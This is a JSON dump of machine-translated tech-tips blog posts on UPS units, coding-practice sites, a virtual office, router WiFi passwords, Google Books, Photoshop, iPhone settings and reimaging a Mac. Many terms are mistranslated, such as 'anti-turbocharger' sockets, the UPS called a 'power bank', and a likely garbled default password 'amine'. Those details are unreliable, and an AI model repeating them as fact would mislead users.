pack (sold separately) to add runtime.\n4. The best UPS for desktops - CyberPower CP1000PFCLCD 1000VA (VND 3.5 million)   Are you still using a desktop computer and worried about losing unsaved work when a sudden power cut? Choose CyberPower CP1000PFCLCD 1000VA, the best power bank for desktops. It has 10 sockets (all types of anti-turbocharger), automatic voltage regulation, maximum power of 600W. It also has a data line protector, two USB charging ports and a sine wave output for anything that needs compatibility with Power Factor Correction (PFC).\nThis unit only has 10.4 x 3.9 x 9.1 inches, so it won't take up much room on your desk.\n5. Best portable UPS - APC Back-UPS Connect BGE90M (VND 803 thousand)   The small APC Back-UPS Connect BGE90M is another worthy option to consider. If you're looking for a mobile device that can power some basic devices, then the APC Back-UPS Connect BGE90M may be the best solution. It measures just 8.8 x 4.1 x 5.2 inches and weighs less than 3kg.\nOf course, because of its small size, this unit is not as robust as larger devices and does not have many sockets. It has only three sockets, though all three are anti-turbocharger and two USB ports.\nThis power bank provides 4.5 hours of running and fast recharging.\n6. The best small UPS - Tripp Lite OMNI900LCD (2.9 million VND)   Another option for those who want a small capacitor is the Tripp Lite OMNI900LCD. It measures 7.2 x 3.7 x 11.8 inches slightly larger than the APC Back-UPS Connect BGE90M and also weighs nearly 7kg so it is not portable.\nThis unit has 8 sockets, 4 of which provide backup battery protection and all are anti-turbocharger types. It provides about 50 minutes of running time for the computer and 10 minutes for a half load.\nHopefully, one of the six UPSs on this list will meet your needs. Each type is targeted at different users and uses. As a general rule, the more expensive the unit, the more power it provides and the longer it lasts.\nncG1vNJzZmismaXArq3KnmWcp51kg26uxKyrZq2gqHqxu9aeqWatnp7BtHnIp2RraGFu\n","link":"/post/6-best-ups-power-units-in-2019/","section":"post","tags":null,"title":"6 best UPS power units in 2019"},{"body":" Top 20 free programming learning websites need to bookmark immediately! 10 useful tips for new programmers Why should you learn Python programming language? Whether you are just starting to learn web programming or becoming a professional programmer, writing code is always important. Besides writing code on regular text, you can write on reputable website pages. Regular practice of writing code helps you improve your skills as well as share exchanges with many other programmers. To help you easily write code on the web prestige, the following article Network Administrator will introduce you 8 best programming skills for web developers to date. Here you are provided with exercises, challenges to practice code skills, interview .\n1. Coderbyte   This website offers users more than 200 coding challenges, you can use 10 programming languages ​​to solve those challenges. Besides, the web also provides some algorithmic guidance as well as luggage for candidates before entering the interview.\n2. Codewars   Codewars is a web that offers quite a lot of challenges for programmers, these challenges are often devised by developers themselves. Here, programmers can also write code with more than 20 different programming languages. At the same time, you can discuss directly and offer challenges. So that you can earn points and raise your rank.\n3. CodeFights   In addition to the challenges for programmers, CodeFights also has a separate forum for everyone to discuss. Especially if you love competing with competitions, there is also a feature called Company Bots, where you will \"code test\" with a bot programmed by programmers from companies. like Uber, Dropbox, and Quora.\n4. CodinGame   CodinGame has a different point than the main code-writing web instead of just writing the code, the programmer must also participate in the game as real players. The combination of learning with practice makes challenges more interesting than ever. With beautiful graphics and entertaining moments will help programmers forget the fatigue and difficulties in the writing process.\n5. TopCode   TopCoder is one of the first online 'arena' for developers to compete directly with each other. It offers a list of algorithmic challenges so far, you can do that challenge online with their code editor. Single-round matches are held several times each month at a specific time, where the coder competes with each other to solve the fastest challenges with the highest score.\nHigh-ranked users on TopCoder are very good programmers and often participate in many programming competitions. The highest ranked person will own his or her own blog named 'ALGORITHMS WEEKLY by PETR MITRICHEV', where they can write about code competitions, algorithms, math and anything they like.\n6. HackRank   This Web mainly provides programmers with some coding disciplines such as Algorithms, Mathematics, SQL, Functional Programming, AI, and many other areas. Accompanying each challenge is an explanation that makes it easier for programmers to understand.\nEspecially when writing code on HackerRank programmers also find themselves many career opportunities for themselves.\n7. LeetCode   LeetCode has a collection of many of the latest algorithmic challenges today. Their topics require knowledge of data structures such as binary trees, heaps, linked lists . so their problems are often more difficult than common ground, but also very interesting and interesting. . Besides, they also have Mock Interview program that simulates job interviews or monthly code competitions.\n8. Geeksfor Geeks   GeeksforGeeks this site synthesizes a lot of useful code articles in many areas such as algorithms and data structures, as well as challenging and engaging math problems. If you are preparing to attend a job interview and want to practice before an employer, this is a reliable address for you to review and improve.\nHopefully with the information above you have found yourself a website to write the most useful code.\nGood luck!\nSee more:\n12 extremely useful tricks for JavaScript programmers Top 7 IT related jobs do not need to know the code Top 10 basic network troubleshooting tools that IT people need to know The confidences of a Coder: Finding bugs must rely on both hunch and rules ncG1vNJzZmismaXArq3KnmWcp51khW7DxJuqoqyVqHq1tMCtZKGdnKV6sb7OoKmapZ2av7R5z6uYnKyZmLJur86doKefXai4qrjLrA%3D%3D\n","link":"/post/8-websites-that-help-programmers-practice-coding-skills/","section":"post","tags":null,"title":"8 websites that help programmers practice coding skills"},{"body":"eXp is a real estate brokerage firm with a market capitalization of over 610 million USD. With thousands of licensed agents, eXp has up to 8,000 employees but only a small office in Bellingham (Washington) due to legal requirements, all company employees work on a virtual island. . All activities such as meetings, presentations or technical assistance . are carried out through virtual space.\nAccording to eXp, working on virtual space offers many benefits such as: no office maintenance fees, no geographical restrictions on personnel recruitment, increased internal communication and mutual support among employees . This can be considered a trend of remote work in the future.\nJoin Business Insider editor to visit the island of eXp to see if they work, join the meeting, go to the beach, drive a boat and chat with the crowd without stepping out of the seat like please\n  On the first login, this man will appear. And this is your character in the virtual world. All activities are controlled via computer by eXp software. There is also a mobile version, but it only supports listening to sounds, not seeing the virtual world.\n  With your character, you can customize the costume, hair . to your liking. Although there are not many options, eXp claims they will add new options such as seasonal outfits or muslim shawls.\n  Once ready, you will be taken to CTO (CTO) Scott Petronis and Marketing Vice President Mitch Robinson, who will take you to visit this virtual island. To go anywhere, just click or use the keyboard to move. You can easily recognize who is busy talking through the blue bubbles surrounding their names.\n  You and two 'guides' sit at a nearby table to talk about \"headquarters\". Here, you see a billboard stating that eXp received Glassdoor's Employee Choice Awards 2018 as the best place to work. Very small details are available in this cyberspace, making you feel like you are in the real world.\n  When strolling around, you will see two skyscrapers, a dealer service center, a business handling department, an office of parts and a common workspace of the company.\n  You can use the Go To menu on the left side of the screen to quickly navigate to any area. However, if there are too many windows open, moving is a bit slow.\n  Room of technology group with big screen in front to share screen employees for presentations.\nIn the Private Room, you only hear voices from the people in your room, without hearing any conversation from the neighborhood.\n  This is a football field, right next to the beach. According to Scott, on special days, this place has fireworks but you have to get out of the workplace to see it.\n  With just a few clicks, you can even drive a boat. Any employee on this virtual island can experience it.\n  On the issue of interactions between employees, Scott thinks that is not a problem. In fact, this technology director of eXp only met \"1/4 or 1/3 of his team in real life\".\nSee more:\nVirtual assistant AI is fired as a person due to ineffective work Sophia, what was the first robot with citizenship rights about Industry 4.0 when coming to Vietnam? 11 most impressive smartphone ads ever ncG1vNJzZmismaXArq3KnmWcp51ksrm8y6ipnmWknbJuwsirq66ZnGK2tLjAp5tmrJiaeri70aSnpZmTmnqwsoxxZ2loXZq6sbjOspyeq12eu26tjJympqiRo8Zuw8itn6itpGK0prvGq5ipoJmYrq150Z6qraqZmMGqu82sZLCglaN6s7HCq6yirJmjtA%3D%3D\n","link":"/post/explore-the-virtual-island-the-workplace-of-8-000-employees-in-a-company-without-geographical-restrictions-when-recruiting/","section":"post","tags":null,"title":"Explore the virtual island, the workplace of 8,000 employees in a company, without geographical restrictions when recruiting"},{"body":"In the previous articles, the Network Administrator showed you how to change the WiFi password of many networks such as VNPT, FPT, Viettel. And in this article, we will guide you to read how to change the WiFi module HuaWei VNPT. Similar to changing password for WiFi of other networks, users also need to access the modem management page to be able to change pass for VNPT WiFi.\nInstructions for changing pass WiFi HuaWei VNPT modem Step 1: First, you need to check the back of the HueWei WiFi modem and will see 3 necessary information including IP address, WiFi name SSID and default login password for WiFi. Next, on a computer web browser, we will access the modem management page via the IP address behind the modem.\nNormally, the IP address to access the Huawei modem management page will be http://192.168.100.1 .\n  Step 2: After successfully accessing, at the new interface you will enter information at the Username as root and the Password box is amine . Click Login to continue.\n  Step 3: At the setup interface for WiFi, we click on the WLAN tab . Looking down at the interface below, enter your SSID Name for the WiFi name . WPA PresharedKey enter new password for WiFi .\nTo make sure you have entered the correct password, you should uncheck the box at Hide to display the entered password.\n  After you have finished entering the required information, we scroll down and click on Apply to save the information.\n  The final action is that we will reconnect from the beginning with WiFi. Since you have entered a new name for WiFi, you will not need to delete the history of connecting to the old WiFi before. In case we still leave the WiFi name but only change the WiFi password HueWai VNPT modem, then you must delete the connection with the previous WiFi. Read more article How to delete Wifi saved on Windows 10 ?.\nRefer to the following articles:\nInstructions on how to change FPT WiFi password How to change the TP-Link wifi password? 2 steps to change Linksys wifi password I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYywoJ%2BhXaWutL%2FWqKmdZZ2ksaa5jKGsmq%2BVnnq3us%2BtZKWhm5o%3D\n","link":"/post/how-to-change-wifi-password-modem-huawei-vnpt-like/","section":"post","tags":null,"title":"How to change WiFi password modem HuaWei VNPT like?"},{"body":"Google offers a huge inventory of eBooks through Google Books. There is a Google Books search engine and a Google Play Books store. Both services allow you to save copies of books so they can be read offline. Here's how to download books from Google Books.\nDo you know how to download books from Google Books? Google Books search engine What is the Google Books search engine? Can you download any title on Google Books for free? How to download books from Google Books  Google Play Books How to download books from Google Play Books Download Google Play Books on Android or iOS Download Google Play Books on Windows and Mac  Other ways to download free books online Google Books search engine First, consider how to download a book from Google Books for free.\nWhat is the Google Books search engine? The Google Books search engine has been around since 2004. It allows you to search more than 30 million titles, each of which has been scanned and converted into text by OCR. Several journals are also included here.\nWhen you click on the search results, you will see scanned pages, book information (such as author, publication date and introduction), as well as links to buy in ebook or print form.\nYou can also add your own reviews and save books to the library.\nCan you download any title on Google Books for free? Is not. Each book title on Google Books is assigned one of the following 4 access levels:\nNo Preview: If Google has not yet scanned the book, you will not be able to see any text related to it. However, you will still have access to the book's metadata and ISBN. Snippet: If Google doesn't have the necessary copyright rights, you should be able to see up to 3 snippets. Snippet displays several sentences of a specific query. No excerpts are displayed for reference books such as encyclopedias and dictionaries. Preview: Most books on Google Books fall under the Preview category . This item is available for books that are still being printed and Google has permission from the copyright owner. If a book is on the Preview list , you will be able to browse a number of different pages. All pages are stamped and you cannot download, save or copy them. Full View: Google assigns a Full View catalog to books that are no longer printed and in the public domain. A small number of printed books is also included. This is the only catalog you can download from Google Books. How to download books from Google Books So how do you download books from Google Books in the Full View category?\nUnless you know what title you want, you should use the Google Books Advanced Search feature . It allows you to enter a number of specific parameters, one of which is the category of the book. Obviously, you need to select Full View.\nYou can also enter keywords, preferred publishers, authors, ISBN, ISSN and title. When ready, press the Google Search button in the upper right corner.\n  From the list of results, click on the title of the book you are looking for. The book information page will be loaded. You can find the download link in the upper left corner. It is labeled as EBOOK — FREE.\nBy hovering over the link, you can see which devices you can read and what additional features the book supports.\n  When you click on the link, you will receive an additional prompt to confirm your decision. Select Read and the book will be available in the My Books section of the Google Play Store. To download, click the three dots on the list and choose Download PDF or Download EPUB (depending on availability).\nGoogle Play Books Google Play Books is Google's ebook store. It is the second largest ebook store on the web after Amazon. Google Play Books offers over 6 million titles for purchase. You can also use the platform to buy audiobooks and rent textbooks.\nHow to download books from Google Play Books Google Play Books allows you to download any book you own to read offline. The options available to you will vary depending on whether or not you have purchased the book, if it's free.\nIf you have free eBooks in your library (because you saved them using Google Books using the previous method or you took advantage of the free eBook offer on the store itself), you can download it PDF or EPUB file version. You can then copy, copy and share the file as you like.\nHowever, for paid books, you can only download one copy on your device to read offline. You will not be able to access PDF or EPUB files.\nTo download books, you'll need the Google Play Books smartphone app (for mobile devices) or the Chrome browser and the Play Books extension from the Chrome Web Store (for desktop).\nDownload Google Play Books on Android or iOS To download books to your mobile device, follow the instructions below:\n1. Get a free copy of the Google Play Books app from the appropriate app store.\n2. Make sure your device is connected to the Internet.\n3. Click the Library tab at the bottom of the screen.\n4. Click the book you want to save to read offline.\nThe download will start automatically. When it is finished, you will see a vestige appear on the book's thumbnail.\nTo view books you've downloaded from Google Play, go to Menu\u0026gt; Downloaded Only .\nDownload Google Play Books for Android | Google Play Books for iOS (Free) Download Google Play Books on Windows and Mac   If you prefer to download a book on your desktop instead, use the following instructions:\n1. Download Google Chrome for your favorite operating system.\n2. Download the Google Play Books web app for Google Chrome.\n3. Open Chrome and access the Google Play Books application.\n4. Find the book you want to download to read offline.\n5. Hover over the book thumbnail and click Make available offline .\nIf you want to delete the book in the future, just deselect the same checkbox.\nDownload Google Chrome (Free) Download Google Play Books for Google Chrome (Free) Other ways to download free books online The methods described in this article will help you ensure you always have plenty of material to read, even if you plan to be offline for an extended period of time.\nAnd remember, Google Books is not the only place where you can find free ebooks. If you want to learn more, here are some convenient free ebook libraries and the best sites for getting free ebooks.\nWish you find a suitable choice!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZJunn6DAbrLRqKRmn5%2BktK2xjJumqKOj\n","link":"/post/how-to-download-books-from-google-books/","section":"post","tags":null,"title":"How to download books from Google Books"},{"body":"Photoshop is a professional photo editing application and it is not strange that Photoshop is used by publishers every day. If you are first using Photoshop in the field of printing, please refer to some instructions for exporting printing files in the following article.\n  1. Export image file to go print complete To export the completed image file, we must set the highest image quality. The recommended Color Model for printing must be the CMYK system. If your color system is not a standard CMYK then proceed with the conversion as follows.\nStep 1: Go to Edit menu (1) =\u0026gt; Convert to Profile . (2) .\n  Step 2: Choose Profile as Working CMYK (1) and click OK (2) to finish.\n  Step 3: We start back up files, Select File =\u0026gt; Save As or press the Ctrl + Shift + S . Next, choose the file format to save as JPEG .\n  Step 4: You set up Quality is the Maximum or at 10-12 . Then click OK to save.\n  2. Export a sample print file to a website or social network Exporting files to post products on the website we need the image's sharpness to be good and ensure the image size is not too large so that when downloading websites, social networking sites more quickly.\nMethod 1: Save the image file and set it manually. Step 1 : You press Ctrl + S or go to File / Save to save the image file and select JPEG format to optimize the image file with a low capacity.\nStep 2: In JPEG Options, you should set the Quality at 6-8 so that the image quality is good and not blurry but the capacity is not too high.\n  Method 2: Export files with automatic optimization settings for the website Step 1: You go to the menu File =\u0026gt; Export =\u0026gt; Save for Web , or use the key combination Alt + Shift + Ctrl + S .\n  Step 2: You choose the Optimized card (1) , with Preset (2) you should choose settings like JPEG Low, Medium or PNG (3) to export images with good quality while ensuring image size is not too high . Then click Save  (4) to save.\n  3. Export the demo image file via email Surely we would not want to fall into the case of sending the sample file to the customer and the customer takes the sample file to print and does not pay us. To avoid such a situation, we have to send the sample image file smaller than the A4 print size and use a low quality photo file.\nMethod 1: Export image files in low quality JPG format Step 1: You save the image file by going to the menu File =\u0026gt; Save As or press the key combination Shift + Ctrl + S . Next you save the image as a JPG .\n  Step 2: You set the Quality to Low and the parameters from 1-3 .\n  Method 2: Export image files to PDF files Step 1: You go to the menu File =\u0026gt; Save As , or use the key combination Shift + Ctrl + S . Next you choose the file format to save as Photoshop PDF (* .PDF, * .PDP).\n  Step 2: You set up Adobe PDF Preset  (1) is the Smallest File Size  (2) .\n  Step 3: You switch to the Compression (1) =\u0026gt; Image Quality (2) =\u0026gt; Low (3) =\u0026gt; Save PDF (4) is done.\n  With the procedure to export the print file in Photoshop shared in the article, hopefully after reading the article, the reader will not be surprised and more secure when printing in Photoshop. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2opbyzwIypqaKmpJ67qHnFoqOeq12eu268x6irqKuYpL0%3D\n","link":"/post/how-to-export-printing-files-in-photoshop/","section":"post","tags":null,"title":"How to export printing files in Photoshop"},{"body":"The preview feature of the message content on the iPhone lock screen enables us to read the necessary message and decide whether to unlock and reply to the message. If your message is private and you do not want others to see it, you have to find a way to hide the message content by following the trick in the following article.\n  To hide the notification content on the iPhone home screen, do the following:\nStep 1: Go to Settings =\u0026gt; Notifications (1) =\u0026gt; Show Preview (2) .\n  Step 2: You select the line When unlocked or None. If you select the When unlocked line , the notification content only shows when you unlock the screen with password, Touch ID or Face ID and the No option will not display the notification content, but you must touch the notification. there to see.\n  Step 3: If you only want to hide notifications of specific applications, go back to Notifications =\u0026gt; select the app to hide content (1) =\u0026gt; Show preview (2) =\u0026gt; select When Unlocked or None (3) depending on your intended use.\n  You can view the comparison picture before and after hiding the message content on iPhone.\n  With the trick of hiding message content on iPhone screen, we can protect privacy from \"peepers\" of messages. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCZmbJuwMeeZKado6iuqLGMnKanrJWjwW67zWaroZ1dnr2pu82eZKWnk6B6tK%2FRnpyn\n","link":"/post/how-to-hide-the-message-content-on-the-iphone-lock-screen/","section":"post","tags":null,"title":"How to hide the message content on the iPhone lock screen"},{"body":" This wikiHow teaches you how to remove and reinstall the operating system on a Windows or Mac computer. Doing so is typically a response to a corrupt or infected operating system. Before re-imaging your computer, you should back up your...\nMethod 2of 2:\nOn Mac  Open the Apple menu   . Click the Apple logo in the top-left corner of the screen. A drop-down menu will appear.   Click Restart…. It's near the bottom of the drop-down menu.\n  Click Restart when prompted. Your Mac will begin to restart.\n  Place your Mac in recovery mode. Immediately after clicking Restart, press and hold the ⌘ Command key and the R key simultaneously until greeted by the \"Utilities\" window.\n  Select Disk Utility. It's the grey hard drive-shaped icon in the main window.\n  Click Continue. This is in the bottom-right corner of the window.\n  Select your Mac's hard drive. On the left side of the window, click the hard drive on which your Mac's operating system is installed.\n  Click Erase. It's a tab at the top of the window. A pop-up window will appear.\n  Click the \"Format\" drop-down box. You'll find this on the right side of the page. Doing so prompts a drop-down menu.\n  Click Mac OS Extended. It's in the drop-down menu.\n  Click Erase. This is in the bottom-right corner of the window.\n  Wait for your Mac's hard drive to finish erasing. The erasing process will take some time, so just make sure that your Mac is plugged in and charging to prevent it from accidentally dying.\n  Click Done when prompted. Doing so completes the erasing process.\n  Click Disk Utility. This menu item is in the top-left side of the screen.\n  Click Quit Disk Utility. It's at the bottom of the Disk Utility drop-down menu. Doing so returns you to the main Recovery window.\n  Select Reinstall macOS, then click Continue. MacOS Sierra will begin reinstalling itself on your hard drive.\n Follow the on-screen prompts. Once MacOS Sierra has been reinstalled, you can proceed with setting up your Mac (e.g., choosing a language and connecting to Wi-Fi).[2]\n  Marvin Fry Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVnrqis8RmmGabn6K9tsDEqw%3D%3D\n","link":"/post/how-to-reimage-a-computer/","section":"post","tags":null,"title":"How to Reimage a Computer"},{"body":"To restore an iPhone, you will need to install iTunes on your computer, a backup of your data, your applications and devices that are plugged into your computer that has iTunes installed. This is how to proceed.\nTechnology is not perfect. The device you are dependent on may be corrupted or stopped at any time. If all your daily activities are associated with the phone, you need to know what you should do, before things get worse.\nThis is especially important because Apple recently announced iPhone 8 and 8 Plus, then iPhone X in November 2017. That means millions of iPhone users will soon change phones and update new iOS and hardware 11.\n  If you have a problematic iPhone, here's how to get your phone working again, including steps to use Recovery mode if needed.\nIf you have switched phones, updated to the latest iOS and you are reading this article on your device, congratulations, your phone is in good condition. Just make sure the safety nets are preinstalled for your device. That means you need to make sure your data is backed up regularly, if you get into trouble later, you won't lose any important data.\n  Start by making sure the iCloud backup is turned on and running nightly. You can refer to the article about how iCloud works. Setting up your backups updated every night will be really helpful when your iPhone fails and needs to be restored.\nHow to backup data on iPhone or iPad How to restore iPhone 7 or 7 Plus To learn how to restore an iPhone 7/7 Plus, please refer to the article: How to bring iPhone 7/7 Plus to DFU restore mode with iTunes.\n  How to restore iPhone 6 and older iPhone lines As with the iPhone 7, the first step to do if the phone is in working condition (meaning the hardware is ok) is to turn it off. Launch iTunes on your computer, plug the iPhone to restore to your computer and start iPhone while pressing the Home button . When the iPhone displays the Connect to iTunes screen, uncheck the Home button . The computer will display a message stating that it has detected an iPhone in Recovery mode and guides you through the process of restoring your phone to normal working conditions.\nHow to recover a used iPhone Note necessary when buying old iPhone Note the warning if you are working with a used iPhone that you bought from another person. Even if you follow these steps and restore your device to its original defaults, that doesn't mean it has been deleted from the previous owner's iCloud activation key. (The activation key may be turned off by entering iCloud email and the password associated with the iPhone, before the restore process begins. To avoid this step in the future, be sure to turn off Find My iPhone before restoring. Your iPhone.)\n  If you have a used iPhone that needs to be restored, it is important to note that there is no way to use iCloud's security feature, if the original owner does not turn it off. Make sure that has been done before buying an used iPhone from someone else.\nAdvanced tips: How (and why) use the .ipsw recovery file If you are a high-end iPhone user and want to (or need to) restore your device, by installing an older firmware version (the latest version automatically updated by iTunes), you can do so by use .ipsw file. You do so by downloading the appropriate .ipsw file (preferably search Google to find the exact hardware for your iPhone), open iTunes, put the phone into Recovery mode , then hold down the 'Option ' when you click \"Update\" in the Device section of iTunes. (On Windows PC, hold down Shift when you click Update to display the dialog box .ipsw.)\nThis will allow you to select the downloaded .ipsw file. Why should you use this file if you want to restore your iPhone? If you are a developer, you may need a very specific version of iOS to test; Or your bandwidth may be limited. By downloading the entire .ipsw file to your computer or flash drive, for example, you don't have to worry about the restore process being interrupted. (And you can always use the same .ipsw file to restore multiple parts on the same device.)\nThat means, most users do not need to manually install .ipsw files and you may have more trouble if you choose the wrong file. So while advanced users should know about this option, the safest and most secure way to restore Apple devices is to use iTunes.\nSee more:\nInstructions to restore data after restoring iPhone How to restore original settings Reset iPhone How to recover data on iPhone? ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqMGwvsRmoKmgn6Oybq3NnWSuq5Viv6avzq%2Bcq7FdorylsQ%3D%3D\n","link":"/post/how-to-restore-iphone-and-use-recovery-mode/","section":"post","tags":null,"title":"How to restore iPhone and use Recovery mode"},{"body":"When surfing the web, we will have time to meet web sites that are useful for life and work. And we often bookmark those sites so we can revisit websites without searching later. However, with the bookmark saving method, we can only review the website when there is an internet connection, so if we want to revisit our favorite website even without an internet connection, we should save the whole website to our computer. charged to be able to view at any time want. The following article of TipsMake.com will guide you how to save websites on your computer in a simple way, invite you to follow.\n  Structure of a common website includes: html file (including content, text), images, scripts, css . You will have 2 options to save the website as follows:\nSave web page with only 1 HTML file : Only include text content, css - javascript (if any) when you open it, you only see the text and may have broken frames and no images. Save the entire site : including html and other necessary files, when opened up will be almost enough as you see online. Depending on the needs of each person, you can choose to save differently. However, if you want full information, you should have the entire website.\nTo save a webpage, first open the browser and access the site, then press Ctrl + S.\nA file saving window will appear with file name as the title of the web page and below is where you choose how to save the website. Here we will select the entire save mode, then click Save to save.\n  You wait a while for the site to be downloaded to the computer, then open the download folder, we will have an HTML file and a folder, in this folder will contain all the content files of the website.\nNow you can disconnect and try to open the website by double clicking on the HTML file below.\n  You can see the website has been fully opened like it was with the internet:\n  Above is an instruction on how to save a webpage to your computer for offline viewing with just a few simple steps, you can apply it to all different browsers. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquRq7Juw8SbZKmZl5rAbsDOZphmm5%2BivbbAxKtkn6eiYrynssuipZ5lpp6yuLXNoA%3D%3D\n","link":"/post/how-to-save-web-pages-to-a-computer-for-offline-viewing/","section":"post","tags":null,"title":"How to save web pages to a computer for offline viewing"},{"body":"In this article, we will show you how to display a photo as many collages, usually in different shapes and frame sizes, arranged on a background to create an interesting design. . Here, we will use Photoshop to create such a photo using a single image.\nHow to sharpen images in Photoshop in 2 ways 3 tips to improve low-resolution image quality Tutorial to create a photo-crumbling image in Photoshop The end result will look like the picture below:\n  Let's start!\nInstructions for splitting photos Step 1: Create a new edit file Start by creating a new file in Photoshop. Go to the File menu in Menu Bar along the top of the screen and select New:\n  This will open the New Document dialog in Photoshop. Edit the parameters in the New window, here I will set the file's Width and Height to 1000 pixels , and since I do not intend to print this image, I will set the Resolution to 72 pixels / inch . The dimensions and resolutions you need may be different, especially if you create images to print out. Set the Background Contents to White, then click OK to close the dialog box. A new file with a white background will appear on the screen.\n  Step 2: Change the grid size in Photoshop options. We will use Photoshop's grid to support image cropping, but first, we need to change the grid size in Preferences. On the PC, go to the Edit menu at the top of the screen, then select Guides, Grid, \u0026amp; Slices . On a Mac, go to the menu in Photoshop, select Preferences, then select Guides, Grid, \u0026amp; Slices .\n  This will open the Preferences dialog box set for Guides, Grid and Slices options. In the Grid section , set Gridline Every option to 2.5 percent . Set other options as default. Click OK when you're done and close the dialog.\n  Step 3: Turn on Grid We have changed the grid size, but still have to enable grid mode in the file. To do that, go to the View menu at the top of the screen, select Show, then select Grid.\n  The grid is displayed in the edit file. The effect of the mesh is to make our cutting work more convenient.\n  Step 4: Add new layer Click the New Layer icon at the bottom of the Layer panel.\n  This will add a new blank layer named Layer 1 above the Background layer.\n  Step 5: Select Rectangular Marquee Tool Select the Rectangular Marquee Tool on the Tools panel .\n  Step 6: Create a selection around the grid With the Rectangular Marquee Tool, draw an initial selection around the grid, but leave a space of two squares for both horizontal and vertical. The selection border may be a bit difficult to see in the photo, so I highlighted it in red to make it easier to see.\n  Step 7: Fill the selection with black Go to the Edit menu at the top of the screen and select Fill.\n  This will open the Fill dialog box. Change the Use option at the top of the dialog to Black.\n  Click OK to close the dialog box. Photoshop will fill the selected area with black. We do not need the file border anymore, so to cancel, go to the Select menu at the top of the screen and select Deselect. You can also press Ctrl + D if you use PC or Command + D if you use a Mac to quickly deselect it with the shortcut.\n  Now, you will have a large square filled with black in the file. No matter what color it is, the image will eventually cover up. Here, I choose black simply because it is easy to see in front of white background and easy to see the mesh contours.\n  Step 8: Create narrow rectangular selections to crop the image We will divide the original image into smaller shapes. We will do that by deleting some small parts. First, we need to select the areas to delete. We will still use the Rectangular Marquee Tool, starting from the left side of the image, counting to the right of 10 vertical columns and counting from bottom to 10 rows, then start drawing from the top of the picture in column 11 down to leave 10 lines and 10 columns. It sounds confusing, so here I highlighted the outline by painting red.\n  When you have finished painting the first selection, hold down Shift to temporarily switch to Photoshop's Add to Selection mode, the second selection will be less than 10 lines below the margin and 10 columns to the right as shown below. By holding down the Shift key, this second selection has been added and now we have a column and a row of selected squares.\n  Similar to the first two regions, continue holding down the Shift key , then create a third selection 10 columns away from the right margin and 10 lines above the margin.\n  Finally, continue holding down the Shift key and create the final selection 10 columns from the left margin and 10 lines above the margin. When you're done, you'll have two rows and two rectangular columns selected as shown below.\n  Step 9: Delete the selected areas Press the Backspace key if you use Windows or Delete if you use the Mac to delete the selected areas in the image, it will immediately split the original image into 5 smaller images. Press Ctrl + D (if using Win) / Command + D (if using Mac) to quickly delete the selection outline in the picture. We do not need the grid displayed in the file anymore, so go back to the View menu to turn off Grid mode . You can also use the shortcut Ctrl + ' (Win) / Command +' (Mac) to turn off Grid. Below is the file after removing the selection outline and turning off Grid.\n  Step 10: Add shadow effect Click the Layer Styles icon at the bottom of the Layers panel .  Select Drop Shadow from the list of layer styles that appear.\n  This option will open the Layer Style dialog box. I will set the Shadow Angle to 120 °, Distance and Size to 12 px . You can use other values ​​for Distance options and Size if creating a file larger than the size I am using in this tutorial. Finally, to reduce the shadow intensity, I will lower the Opacity value to 60% .\n  Click OK to close the Layer Style dialog box. Shadow effect has been added and we are shown below.\n  Step 11: Open the image Open the image you want to place within the image you just created. It will be opened in a separate window. This is the image I will use.\n  Step 12: Copy and paste the image into the edited image Press the shortcut Ctrl + A (Win) and Command + A (Mac) to quickly select the entire image, then press Ctrl + C (Win) or Command + C (Mac) to copy it to the clipboard. Switch to your image file, press Ctrl + V (Win) or Command + V (Mac) to paste the image into the file. It will appear on its own layer (Layer 2) above the cut layer (Layer 1) in the Layers panel .\n  Step 13: Create Clipping Mask Go to the Layer menu at the top of the screen and select Create Clipping Mask .\n  With this operation, you will see your picture is almost complete.\n  If you look at the Layers panel, we will see that Layer 2 has been indented right with a small arrow on the left pointing down to the Layer 1 preview thumbnail. Here's how Photoshop says Layer 2 has been cut. reduce to fit Layer 1's frame.\n  Step 14: Move and resize the image with Free Transform To resize and reposition the image inside the images, go to the Edit menu at the top of the screen and choose Free Transform or press Ctrl + T (Win) or Command + T (Mac) to quickly select it.\n  If the image is too large and gets out of the viewable area of ​​the file, you can go to the View menu at the top of the screen and select Fit on Screen . You can also press the shortcut Ctrl + 0 (Win) or Command + 0 (Mac) to quickly select.\n  Photoshop will minimize it so that all images are displayed in the frame. To resize an image, hold down Shift to adjust the aspect ratio when resizing, then drag any corner of the four corners (small squares). To move the image, just click anywhere in the Free Transform box and drag the image around with the mouse.\n  When you are satisfied with the final image, press Enter (Win) or Return (Mac) to accept the changes and exit Free Transform. So we are done. Below is the final result.\n  Above is how to create a cluster of images from a single image. Let's do it to have a good photo!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqugoba1ec%2Bhpq2no2LEqsDHZqehp6SkwKm7zw%3D%3D\n","link":"/post/how-to-split-photos-with-photoshop/","section":"post","tags":null,"title":"How to split photos with Photoshop"},{"body":"There are too many spam messages in your phone or \"sensitive\" messages that you don't want others to see. So why don't you delete them. If you do not know how to delete, you can refer to the following article of TipsMake.com.\nHow to turn off iPhone application notifications? How to turn on 3G on iPhone 5 / 5S / 6? Sync iPhone contacts with Gmail Delete all messages from a person on iOS 8 Step 1 : Go to the Messages section and select Edit\n   Step 2 : Select the messages you want to delete and press Delete\n  Delete a specific message on iOS 7 (and higher operating systems) Step 1 : Go to the message of someone you want to delete, then press and hold the specific message then click More . Next, you also select the messages you want to delete and press Delete.\n   Delete a specific message on iOS 6 (and previous operating systems) Step 1 : Go to the message section and click on the sender's name and select Edit\n   Step 2 : Select the message you want to delete and press Delete\n  Quickly delete messages on iOS 6 (and previous operating systems) Find the message you want to delete and then swipe from left to right until the red Delete text appears. After that, click on Delete to delete all messages of that person.\n  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaclaGytbXNoGSmnaOorqix0mamp2WZpbWwusQ%3D\n","link":"/post/instructions-for-deleting-messages-on-iphone/","section":"post","tags":null,"title":"Instructions for deleting messages on iPhone"},{"body":" Practice typing 10 fingers or practicing typing fast with long text pages, 